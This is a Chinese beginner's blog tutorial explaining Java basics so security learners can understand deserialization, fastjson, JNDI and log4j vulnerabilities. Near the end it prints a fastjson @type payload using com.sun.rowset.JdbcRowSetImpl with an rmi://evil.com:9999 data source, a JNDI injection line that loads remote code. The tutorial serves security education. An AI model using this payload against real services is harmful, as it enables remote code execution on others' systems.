赞
踩
1)适合对象:对于java啥都不懂,但是对网络安全有基础得人,有想大概理解java payload得需求者。
2)文章目标:看了之后能理解大佬java反序列化、fastjson、jndi、log4j、spring框架等漏洞的思路。
3)本文内容避免代码初阶知识,菜鸟教程都有,讲的都是网安需要用的。本人也是小白刚入门java,有错误还请大佬指正。
IDEA文件中,
.idea文件夹----别管
.mvn文件夹-----别管
.src文件夹-----之后主要在这里看
.target---------之后文件在这里输出,注意不要在这编辑文件哦,不能修改的,是输出成.class文件。
java -jar 你想用的工具名字
import com.bbb.*;
public class hello {
public static void main(String[] args) {
Father father = new Father();
}
}
这段目的:
只要你之后看到class明白,哦这是个类,
看到new,知道新建一个对象
因为我们是初学者,先了解再深入。
这里我们只要知道,反射很牛逼,反射能突破先用类,再用方法的限制
另外还要知道一个单词,class-load类加载器,就是反射中加载类的意思
com.bbb.*是资源包的意思,相当于插件,你用的话就要引用
这里看到com.xxxx.xx知道是啥软件包,就已经达到目的了。
2)fastjson的作用?
客户端—json编码–json解码----后端
fastjson负责json的编码和解码
3)什么是json数据呢?–这里截个图看看就行,不是重点
在这里插入图片描述
4)那为啥会有漏洞呢?
com.sun.rowset.JdbcRowSetImpl利用链
已知:java中,com是资源包的意思
通过@type后,引用这个资源包
可以实例化应用rmi方法的类
"@type":"com.sun.rowset.JdbcRowSetImpl"
=
import com.sun.rowset.JdbcRowSetImpl;
"dataSourceName":"rmi://evil.com:9999/TouchFile",
=jdbcRowSet.setDataSourceName("rmi://evil.com:9999/aaa");
简单来说,通过@type调用软件包,然后再调用rmi远程访问
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。